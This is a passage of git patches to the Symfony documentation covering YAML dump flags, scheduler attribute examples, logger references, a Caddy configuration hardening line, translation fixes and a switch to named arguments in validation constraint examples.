@@ -440,6 +440,34 @@ By default, digit-only array keys are dumped as integers. You can use the
     $dumped = Yaml::dump([200 => 'foo'], 2, 4, Yaml::DUMP_NUMERIC_KEY_AS_STRING);
     // '200': foo
 
+Dumping Collection of Maps
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the collection of maps uses a hyphen on a separate line as a delimiter.
+To use the delimiter line as part of the map dump, use the ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag.
+
+Dump without flag set:
+
+.. code-block:: yaml
+
+    planets:
+      -
+        name: Mercury
+        distance: 57910000
+      -
+        name: Jupiter
+        distance: 778500000
+
+Dump with ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag set:
+
+.. code-block:: yaml
+
+    planets:
+      - name: Mercury
+        distance: 57910000
+      - name: Jupiter
+        distance: 778500000
+
 Syntax Validation
 ~~~~~~~~~~~~~~~~~
 

From 05aacc296c26990446b86752bf157145b051f760 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Jan 2025 08:38:02 +0100
Subject: [PATCH 6675/7107] Minor tweaks

---
 components/yaml.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index aea0b6437bd..40a172f334d 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -453,10 +453,8 @@ By default, digit-only array keys are dumped as integers. You can use the
 Dumping Collection of Maps
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, the collection of maps uses a hyphen on a separate line as a delimiter.
-To use the delimiter line as part of the map dump, use the ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag.
-
-Dump without flag set:
+When the YAML component dumps collections of maps, it uses a hyphen on a separate
+line as a delimiter:
 
 .. code-block:: yaml
 
@@ -468,7 +466,8 @@ Dump without flag set:
         name: Jupiter
         distance: 778500000
 
-Dump with ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag set:
+To produce a more compact output where the delimiter is included within the map,
+use the ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag:
 
 .. code-block:: yaml
 
@@ -478,6 +477,10 @@ Dump with ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag set:
       - name: Jupiter
         distance: 778500000
 
+.. versionadded:: 7.3
+
+    The ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag was introduced in Symfony 7.3.
+
 Syntax Validation
 ~~~~~~~~~~~~~~~~~
 

From 35df8ae759bf455557cb9f9b530c02231cc8ced1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Jan 2025 09:23:07 +0100
Subject: [PATCH 6676/7107] Reword

---
 scheduler.rst | 30 ++++++------------------------
 1 file changed, 6 insertions(+), 24 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 6cebb354137..5bac82d98ae 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -473,19 +473,10 @@ The attribute takes more parameters to customize the trigger::
     // defines the timezone to use
     #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')]
 
-Arguments/options for Symfony commands are passed as plain string::
-
-    use Symfony\Component\Console\Command\Command;
-
-    #[AsCronTask('0 0 * * *', arguments: 'arg --my-option')]
+    // when applying this attribute to a Symfony console command, you can pass
+    // arguments and options to the command using the 'arguments' option:
+    #[AsCronTask('0 0 * * *', arguments: 'some_argument --some-option --another-option=some_value')]
     class MyCommand extends Command
-    {
-        protected function configure(): void
-        {
-            $this->addArgument('my-arg');
-            $this->addOption('my-option');
-        }
-    }
 
 .. versionadded:: 6.4
 
@@ -536,19 +527,10 @@ The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigg
         }
     }
 
-Arguments/options for Symfony commands are passed as plain string::
-
-    use Symfony\Component\Console\Command\Command;
-
-    #[AsPeriodicTask(frequency: '1 day', arguments: 'arg --my-option')]
+    // when applying this attribute to a Symfony console command, you can pass
+    // arguments and options to the command using the 'arguments' option:
+    #[AsPeriodicTask(frequency: '1 day', arguments: 'some_argument --some-option --another-option=some_value')]
     class MyCommand extends Command
-    {
-        protected function configure(): void
-        {
-            $this->addArgument('my-arg');
-            $this->addOption('my-option');
-        }
-    }
 
 .. versionadded:: 6.4
 

From 833e338690d7250e983a89198d9e8e393f41d516 Mon Sep 17 00:00:00 2001
From: Thomas Calvet <calvet.thomas@gmail.com>
Date: Wed, 22 Jan 2025 09:25:10 +0100
Subject: [PATCH 6677/7107] Remove myself from active core members

---
 contributing/code/core_team.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 5f41ec0b4cf..1b1703e4f93 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -70,7 +70,6 @@ Active Core Members
   * **Alexander M. Turek** (`derrabus`_);
   * **Jérémy Derussé** (`jderusse`_);
   * **Oskar Stark** (`OskarStark`_);
-  * **Thomas Calvet** (`fancyweb`_);
   * **Mathieu Santostefano** (`welcomattic`_);
   * **Kevin Bond** (`kbond`_);
   * **Jérôme Tamarelle** (`gromnan`_).
@@ -114,7 +113,8 @@ Symfony contributions:
 * **Tobias Schultze** (`Tobion`_);
 * **Maxime Steinhausser** (`ogizanagi`_);
 * **Titouan Galopin** (`tgalopin`_);
-* **Michael Cullum** (`michaelcullum`_).
+* **Michael Cullum** (`michaelcullum`_);
+* **Thomas Calvet** (`fancyweb`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~

From b9c7139364f16c941099891df800930c1dfd724f Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Sat, 18 Jan 2025 02:05:12 -0300
Subject: [PATCH 6678/7107] [Logging] Add references to the `ConsoleLogger`

---
 logging.rst | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/logging.rst b/logging.rst
index c66312f88f9..0aabf9c7c5f 100644
--- a/logging.rst
+++ b/logging.rst
@@ -1,8 +1,10 @@
 Logging
 =======
 
-Symfony comes with a minimalist `PSR-3`_ logger: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`.
-In conformance with `the twelve-factor app methodology`_, it sends messages starting from the
+Symfony comes with two minimalist `PSR-3`_ loggers: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`
+for the HTTP context and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger` for the
+CLI context.
+In conformance with `the twelve-factor app methodology`_, they send messages starting from the
 ``WARNING`` level to `stderr`_.
 
 The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environment variable:
@@ -17,13 +19,18 @@ The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environm
 =========================  =================
 
 The minimum log level, the default output and the log format can also be changed by
-passing the appropriate arguments to the constructor of :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`.
-To do so, :ref:`override the "logger" service definition <service-psr4-loader>`.
+passing the appropriate arguments to the constructor of :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`
+and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger`.
+
+The :class:`Symfony\\Component\\HttpKernel\\Log\\Logger` class is available through the ``logger`` service.
+To pass your configuration, you can :ref:`override the "logger" service definition <service-psr4-loader>`.
+
+For more information about ``ConsoleLogger``, see :doc:`/components/console/logger`.
 
 Logging a Message
 -----------------
 
-To log a message, inject the default logger in your controller or service::
+To log a message using the ``logger`` service, inject the default logger in your controller or service::
 
     use Psr\Log\LoggerInterface;
     // ...
@@ -55,7 +62,7 @@ Adding placeholders to log messages is recommended because:
 * It's better for security, because escaping can then be done by the
   implementation in a context-aware fashion.
 
-The ``logger`` service has different methods for different logging levels/priorities.
+The logger implementations has different methods for different logging levels/priorities.
 See `LoggerInterface`_ for a list of all of the methods on the logger.
 
 Monolog

From fa4563353e498b9a6dc3ce20c3043f720fe1493e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Jan 2025 10:29:43 +0100
Subject: [PATCH 6679/7107] Minor tweaks

---
 logging.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/logging.rst b/logging.rst
index 0aabf9c7c5f..0ad36031dd5 100644
--- a/logging.rst
+++ b/logging.rst
@@ -3,9 +3,8 @@ Logging
 
 Symfony comes with two minimalist `PSR-3`_ loggers: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`
 for the HTTP context and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger` for the
-CLI context.
-In conformance with `the twelve-factor app methodology`_, they send messages starting from the
-``WARNING`` level to `stderr`_.
+CLI context. In conformance with `the twelve-factor app methodology`_, they send messages
+starting from the ``WARNING`` level to `stderr`_.
 
 The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environment variable:
 
@@ -30,7 +29,7 @@ For more information about ``ConsoleLogger``, see :doc:`/components/console/logg
 Logging a Message
 -----------------
 
-To log a message using the ``logger`` service, inject the default logger in your controller or service::
+To log a message, inject the default logger in your controller or service::
 
     use Psr\Log\LoggerInterface;
     // ...
@@ -62,7 +61,7 @@ Adding placeholders to log messages is recommended because:
 * It's better for security, because escaping can then be done by the
   implementation in a context-aware fashion.
 
-The logger implementations has different methods for different logging levels/priorities.
+The ``logger`` service has different methods for different logging levels/priorities.
 See `LoggerInterface`_ for a list of all of the methods on the logger.
 
 Monolog

From 75a197b4f99ac3e80357d884f477067888f79df3 Mon Sep 17 00:00:00 2001
From: Sarim Khan <sarim2005@gmail.com>
Date: Thu, 23 Jan 2025 00:24:18 +0600
Subject: [PATCH 6680/7107] Caddy configuration don't allow sub-directory php
 files to execute. Fixes #20593

---
 setup/web_server_configuration.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index acd76c342b9..e5e06a89feb 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -207,6 +207,9 @@ When using Caddy on the server, you can use a configuration like this:
 
         # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP)
         php_fastcgi unix//var/run/php/php8.3-fpm.sock {
+            # only fallback to root index.php aka front controller.
+            try_files {path} index.php
+
             # optionally set the value of the environment variables used in the application
             # env APP_ENV "prod"
             # env APP_SECRET "<app-secret-id>"

From 698c0e74c09b10fd032e26133546b31f9e0aab9b Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Wed, 22 Jan 2025 18:51:24 -0300
Subject: [PATCH 6681/7107] Bump lowest maintained version to 6.4

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index ed323a8ee83..5c063058c02 100644
--- a/README.md
+++ b/README.md
@@ -27,8 +27,8 @@ We love contributors! For more information on how you can contribute, please rea
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
 > [!IMPORTANT]
-> Use `5.4` branch as the base of your pull requests, unless you are documenting a
-> feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 7.1).
+> Use `6.4` branch as the base of your pull requests, unless you are documenting a
+> feature that was introduced *after* Symfony 6.4 (e.g. in Symfony 7.2).
 
 Build Documentation Locally
 ---------------------------

From aabca8e1d3d8b604ecd05a4e6532774369d02a40 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Wed, 22 Jan 2025 15:57:04 +0100
Subject: [PATCH 6682/7107] [RateLimiter] [Rate Limiter] Mention the
 Caddy/FrankenPHP rate limit module

---
 rate_limiter.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 970d71c8784..a53f679f1c8 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -16,8 +16,9 @@ time, but you can use them for your own features too.
     By definition, the Symfony rate limiters require Symfony to be booted
     in a PHP process. This makes them not useful to protect against `DoS attacks`_.
     Such protections must consume the least resources possible. Consider
-    using `Apache mod_ratelimit`_, `NGINX rate limiting`_ or proxies (like
-    AWS or Cloudflare) to prevent your server from being overwhelmed.
+    using `Apache mod_ratelimit`_, `NGINX rate limiting`_,
+    `Caddy HTTP rate limit module`_ (also supported by FrankenPHP)
+    or proxies (like AWS or Cloudflare) to prevent your server from being overwhelmed.
 
 .. _rate-limiter-policies:
 
@@ -543,6 +544,7 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
+.. _`Caddy HTTP rate limit module`: https://github.com/mholt/caddy-ratelimit
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
 .. _`Race conditions`: https://en.wikipedia.org/wiki/Race_condition

From cc4f5c511945a46b5c152b7f236cbcbe3ece2356 Mon Sep 17 00:00:00 2001
From: Nassim LOUNADI <39556046+nassimlnd@users.noreply.github.com>
Date: Wed, 15 Jan 2025 16:29:46 +0100
Subject: [PATCH 6683/7107] Update translations

---
 translation.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/translation.rst b/translation.rst
index ed44b6d4912..98b90949b6a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -145,7 +145,7 @@ different formats:
     .. code-block:: yaml
 
         # translations/messages.fr.yaml
-        Symfony is great: J'aime Symfony
+        Symfony is great: Symfony est génial
 
     .. code-block:: xml
 
@@ -156,7 +156,7 @@ different formats:
                 <body>
                     <trans-unit id="symfony_is_great">
                         <source>Symfony is great</source>
-                        <target>J'aime Symfony</target>
+                        <target>Symfony est génial</target>
                     </trans-unit>
                 </body>
             </file>
@@ -166,14 +166,14 @@ different formats:
 
         // translations/messages.fr.php
         return [
-            'Symfony is great' => "J'aime Symfony",
+            'Symfony is great' => 'Symfony est génial',
         ];
 
 You can find more information on where these files
 :ref:`should be located <translation-resource-locations>`.
 
 Now, if the language of the user's locale is French (e.g. ``fr_FR`` or ``fr_BE``),
-the message will be translated into ``J'aime Symfony``. You can also translate
+the message will be translated into ``Symfony est génial``. You can also translate
 the message inside your :ref:`templates <translation-in-templates>`.
 
 .. _translation-real-vs-keyword-messages:
@@ -1219,7 +1219,7 @@ for the ``fr`` locale:
                 <body>
                     <trans-unit id="1">
                         <source>Symfony is great</source>
-                        <target>J'aime Symfony</target>
+                        <target>Symfony est génial</target>
                     </trans-unit>
                 </body>
             </file>
@@ -1228,13 +1228,13 @@ for the ``fr`` locale:
     .. code-block:: yaml
 
         # translations/messages.fr.yaml
-        Symfony is great: J'aime Symfony
+        Symfony is great: Symfony est génial
 
     .. code-block:: php
 
         // translations/messages.fr.php
         return [
-            'Symfony is great' => 'J\'aime Symfony',
+            'Symfony is great' => 'Symfony est génial',
         ];
 
 and for the ``en`` locale:
@@ -1277,7 +1277,7 @@ To inspect all messages in the ``fr`` locale for the application, run:
     ---------  ------------------  ----------------------  -------------------------------
      State      Id                  Message Preview (fr)    Fallback Message Preview (en)
     ---------  ------------------  ----------------------  -------------------------------
-     unused     Symfony is great    J'aime Symfony          Symfony is great
+     unused     Symfony is great    Symfony est génial      Symfony is great
     ---------  ------------------  ----------------------  -------------------------------
 
 It shows you a table with the result when translating the message in the ``fr``
@@ -1297,7 +1297,7 @@ output:
     ---------  ------------------  ----------------------  -------------------------------
      State      Id                  Message Preview (fr)    Fallback Message Preview (en)
     ---------  ------------------  ----------------------  -------------------------------
-                Symfony is great    J'aime Symfony          Symfony is great
+                Symfony is great    Symfony est génial      Symfony is great
     ---------  ------------------  ----------------------  -------------------------------
 
 The state is empty which means the message is translated in the ``fr`` locale

From a00dddbdd82e84c84387f536cac06ca7f0027de1 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 24 Jan 2025 11:36:59 +0100
Subject: [PATCH 6684/7107] use named-arguments to configure validation
 constraint options

---
 components/console/helpers/questionhelper.rst |   8 +-
 components/options_resolver.rst               |   2 +-
 components/validator.rst                      |   2 +-
 components/validator/metadata.rst             |   8 +-
 components/validator/resources.rst            |   8 +-
 controller/upload_file.rst                    |  10 +-
 form/without_class.rst                        |   8 +-
 reference/constraints/All.rst                 |  10 +-
 reference/constraints/AtLeastOneOf.rst        |  26 ++---
 reference/constraints/Callback.rst            |   2 +-
 reference/constraints/CardScheme.rst          |  10 +-
 reference/constraints/Choice.rst              |  22 ++--
 reference/constraints/Collection.rst          |  46 ++++----
 reference/constraints/Compound.rst            |   4 +-
 reference/constraints/Count.rst               |  12 +--
 reference/constraints/CssColor.rst            |  18 ++--
 reference/constraints/DivisibleBy.rst         |   6 +-
 reference/constraints/Email.rst               |   6 +-
 reference/constraints/EqualTo.rst             |   6 +-
 reference/constraints/Expression.rst          |  26 ++---
 reference/constraints/ExpressionSyntax.rst    |   6 +-
 reference/constraints/File.rst                |  10 +-
 reference/constraints/GreaterThan.rst         |   6 +-
 reference/constraints/GreaterThanOrEqual.rst  |   6 +-
 reference/constraints/Hostname.rst            |   6 +-
 reference/constraints/Iban.rst                |   6 +-
 reference/constraints/IdenticalTo.rst         |   6 +-
 reference/constraints/Image.rst               |  20 ++--
 reference/constraints/IsFalse.rst             |   6 +-
 reference/constraints/IsTrue.rst              |   6 +-
 reference/constraints/Isbn.rst                |   8 +-
 reference/constraints/Json.rst                |   6 +-
 reference/constraints/Length.rst              |  12 +--
 reference/constraints/LessThan.rst            |   6 +-
 reference/constraints/LessThanOrEqual.rst     |   6 +-
 reference/constraints/Locale.rst              |   6 +-
 reference/constraints/Luhn.rst                |   6 +-
 reference/constraints/NotEqualTo.rst          |   6 +-
 reference/constraints/NotIdenticalTo.rst      |   6 +-
 reference/constraints/PasswordStrength.rst    |  12 +--
 reference/constraints/Range.rst               |  34 +++---
 reference/constraints/Regex.rst               |  26 ++---
 reference/constraints/Sequentially.rst        |   4 +-
 reference/constraints/Type.rst                |  18 ++--
 reference/constraints/Unique.rst              |   6 +-
 reference/constraints/UniqueEntity.rst        |  16 +--
 reference/constraints/Url.rst                 |  26 ++---
 reference/constraints/Valid.rst               |   4 +-
 reference/constraints/Week.rst                |   8 +-
 reference/constraints/When.rst                |  24 ++---
 reference/constraints/WordCount.rst           |   8 +-
 reference/constraints/Yaml.rst                |  14 +--
 .../_comparison-value-option.rst.inc          |   2 +-
 validation.rst                                | 102 ++----------------
 validation/custom_constraint.rst              |  12 ++-
 validation/groups.rst                         |  30 +++---
 validation/sequence_provider.rst              |  16 +--
 validation/severity.rst                       |  18 ++--
 validation/translations.rst                   |  10 +-
 59 files changed, 343 insertions(+), 427 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 3dc97d5c0d3..c7e064b16ca 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -480,10 +480,10 @@ invalid answer and will only be able to proceed if their input is valid.
         use Symfony\Component\Validator\Validation;
 
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
-        $validation = Validation::createCallable(new Regex([
-            'pattern' => '/^[a-zA-Z]+Bundle$/',
-            'message' => 'The name of the bundle should be suffixed with \'Bundle\'',
-        ]));
+        $validation = Validation::createCallable(new Regex(
+            pattern: '/^[a-zA-Z]+Bundle$/',
+            message: 'The name of the bundle should be suffixed with \'Bundle\'',
+        ));
         $question->setValidator($validation);
 
 Validating a Hidden Response
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 95741a7e372..65685106c13 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -394,7 +394,7 @@ returns ``true`` for acceptable values and ``false`` for invalid values::
 
         // ...
         $resolver->setAllowedValues('transport', Validation::createIsValidCallable(
-            new Length(['min' => 10 ])
+            new Length(min: 10)
         ));
 
 In sub-classes, you can use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addAllowedValues`
diff --git a/components/validator.rst b/components/validator.rst
index 085c77a7946..12c61507257 100644
--- a/components/validator.rst
+++ b/components/validator.rst
@@ -36,7 +36,7 @@ characters long::
 
     $validator = Validation::createValidator();
     $violations = $validator->validate('Bernhard', [
-        new Length(['min' => 10]),
+        new Length(min: 10),
         new NotBlank(),
     ]);
 
diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst
index e7df42413bc..782e1ee216f 100755
--- a/components/validator/metadata.rst
+++ b/components/validator/metadata.rst
@@ -24,7 +24,7 @@ the ``Author`` class has at least 3 characters::
             $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
             $metadata->addPropertyConstraint(
                 'firstName',
-                new Assert\Length(["min" => 3])
+                new Assert\Length(min: 3)
             );
         }
     }
@@ -55,9 +55,9 @@ Then, add the Validator component configuration to the class::
     {
         public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
-            $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([
-                'message' => 'The password cannot match your first name',
-            ]));
+            $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue(
+                message: 'The password cannot match your first name',
+            ));
         }
     }
 
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 5b1448dfba1..64bf26e44d5 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -42,10 +42,10 @@ In this example, the validation metadata is retrieved executing the
         public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
             $metadata->addPropertyConstraint('name', new Assert\NotBlank());
-            $metadata->addPropertyConstraint('name', new Assert\Length([
-                'min' => 5,
-                'max' => 20,
-            ]));
+            $metadata->addPropertyConstraint('name', new Assert\Length(
+                min: 5,
+                max: 20,
+            ));
         }
     }
 
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index b3dc2d6ffd0..cff326a8e2b 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -75,14 +75,14 @@ so Symfony doesn't try to get/set its value from the related entity::
                     // unmapped fields can't define their validation using attributes
                     // in the associated entity, so you can use the PHP constraint classes
                     'constraints' => [
-                        new File([
-                            'maxSize' => '1024k',
-                            'mimeTypes' => [
+                        new File(
+                            maxSize: '1024k',
+                            mimeTypes: [
                                 'application/pdf',
                                 'application/x-pdf',
                             ],
-                            'mimeTypesMessage' => 'Please upload a valid PDF document',
-                        ])
+                            mimeTypesMessage: 'Please upload a valid PDF document',
+                        )
                     ],
                 ])
                 // ...
diff --git a/form/without_class.rst b/form/without_class.rst
index 8b0af7cf23f..5fec7f3a663 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -96,12 +96,12 @@ but here's a short example::
     {
         $builder
             ->add('firstName', TextType::class, [
-                'constraints' => new Length(['min' => 3]),
+                'constraints' => new Length(min: 3),
             ])
             ->add('lastName', TextType::class, [
                 'constraints' => [
                     new NotBlank(),
-                    new Length(['min' => 3]),
+                    new Length(min: 3),
                 ],
             ])
         ;
@@ -153,10 +153,10 @@ This can be done by setting the ``constraints`` option in the
         $resolver->setDefaults([
             'data_class' => null,
             'constraints' => new Collection([
-                'firstName' => new Length(['min' => 3]),
+                'firstName' => new Length(min: 3),
                 'lastName' => [
                     new NotBlank(),
-                    new Length(['min' => 3]),
+                    new Length(min: 3),
                 ],
             ]),
         ]);
diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 3aa05b1d2d0..43ff4d6ac9d 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -79,12 +79,12 @@ entry in that array:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('favoriteColors', new Assert\All([
-                    'constraints' => [
+                $metadata->addPropertyConstraint('favoriteColors', new Assert\All(
+                    constraints: [
                         new Assert\NotBlank(),
-                        new Assert\Length(['min' => 5]),
+                        new Assert\Length(min: 5),
                     ],
-                ]));
+                ));
             }
         }
 
@@ -97,7 +97,7 @@ Options
 ``constraints``
 ~~~~~~~~~~~~~~~
 
-**type**: ``array`` [:ref:`default option <validation-default-option>`]
+**type**: ``array``
 
 This required option is the array of validation constraints that you want
 to apply to each element of the underlying array.
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index 0a6ab618aa5..fecbe617f5a 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -115,23 +115,23 @@ The following constraints ensure that:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('password', new Assert\AtLeastOneOf([
-                    'constraints' => [
-                        new Assert\Regex(['pattern' => '/#/']),
-                        new Assert\Length(['min' => 10]),
+                $metadata->addPropertyConstraint('password', new Assert\AtLeastOneOf(
+                    constraints: [
+                        new Assert\Regex(pattern: '/#/'),
+                        new Assert\Length(min: 10),
                     ],
-                ]));
+                ));
 
-                $metadata->addPropertyConstraint('grades', new Assert\AtLeastOneOf([
-                    'constraints' => [
-                        new Assert\Count(['min' => 3]),
-                        new Assert\All([
-                            'constraints' => [
+                $metadata->addPropertyConstraint('grades', new Assert\AtLeastOneOf(
+                    constraints: [
+                        new Assert\Count(min: 3),
+                        new Assert\All(
+                            constraints: [
                                 new Assert\GreaterThanOrEqual(5),
                             ],
-                        ]),
+                        ),
                     ],
-                ]));
+                ));
             }
         }
 
@@ -141,7 +141,7 @@ Options
 constraints
 ~~~~~~~~~~~
 
-**type**: ``array`` [:ref:`default option <validation-default-option>`]
+**type**: ``array``
 
 This required option is the array of validation constraints from which at least one of
 has to be satisfied in order for the validation to succeed.
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index f4c78a9642a..017b9435cff 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -259,7 +259,7 @@ Options
 ``callback``
 ~~~~~~~~~~~~
 
-**type**: ``string``, ``array`` or ``Closure`` [:ref:`default option <validation-default-option>`]
+**type**: ``string``, ``array`` or ``Closure``
 
 The callback option accepts three different formats for specifying the
 callback method:
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 6e98e6fab98..a2ed9c568c3 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -77,12 +77,12 @@ on an object that will contain a credit card number.
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('cardNumber', new Assert\CardScheme([
-                    'schemes' => [
+                $metadata->addPropertyConstraint('cardNumber', new Assert\CardScheme(
+                    schemes: [
                         Assert\CardScheme::VISA,
                     ],
-                    'message' => 'Your credit card number is invalid.',
-                ]));
+                    message: 'Your credit card number is invalid.',
+                ));
             }
         }
 
@@ -114,7 +114,7 @@ Parameter        Description
 ``schemes``
 ~~~~~~~~~~~
 
-**type**: ``mixed`` [:ref:`default option <validation-default-option>`]
+**type**: ``mixed``
 
 This option is required and represents the name of the number scheme used
 to validate the credit card number, it can either be a string or an array.
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 5a9c365be37..cdf6b6e47fd 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -100,10 +100,10 @@ If your valid choice list is simple, you can pass them in directly via the
                     new Assert\Choice(['New York', 'Berlin', 'Tokyo'])
                 );
 
-                $metadata->addPropertyConstraint('genre', new Assert\Choice([
-                    'choices' => ['fiction', 'non-fiction'],
-                    'message' => 'Choose a valid genre.',
-                ]));
+                $metadata->addPropertyConstraint('genre', new Assert\Choice(
+                    choices: ['fiction', 'non-fiction'],
+                    message: 'Choose a valid genre.',
+                ));
             }
         }
 
@@ -182,9 +182,9 @@ constraint.
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('genre', new Assert\Choice([
-                    'callback' => 'getGenres',
-                ]));
+                $metadata->addPropertyConstraint('genre', new Assert\Choice(
+                    callback: 'getGenres',
+                ));
             }
         }
 
@@ -250,9 +250,9 @@ you can pass the class name and the method as an array.
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('genre', new Assert\Choice([
-                    'callback' => [Genre::class, 'getGenres'],
-                ]));
+                $metadata->addPropertyConstraint('genre', new Assert\Choice(
+                    callback: [Genre::class, 'getGenres'],
+                ));
             }
         }
 
@@ -271,7 +271,7 @@ to return the choices array. See
 ``choices``
 ~~~~~~~~~~~
 
-**type**: ``array`` [:ref:`default option <validation-default-option>`]
+**type**: ``array``
 
 A required option (unless `callback`_ is specified) - this is the array
 of options that should be considered in the valid set. The input value
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 2d16d201b17..c35a0103581 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -139,8 +139,8 @@ following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('profileData', new Assert\Collection([
-                    'fields' => [
+                $metadata->addPropertyConstraint('profileData', new Assert\Collection(
+                    fields: [
                         'personal_email' => new Assert\Email(),
                         'short_bio' => [
                             new Assert\NotBlank(),
@@ -150,8 +150,8 @@ following:
                             ]),
                         ],
                     ],
-                    'allowMissingFields' => true,
-                ]));
+                    allowMissingFields: true,
+                ));
             }
         }
 
@@ -267,15 +267,15 @@ you can do the following:
 
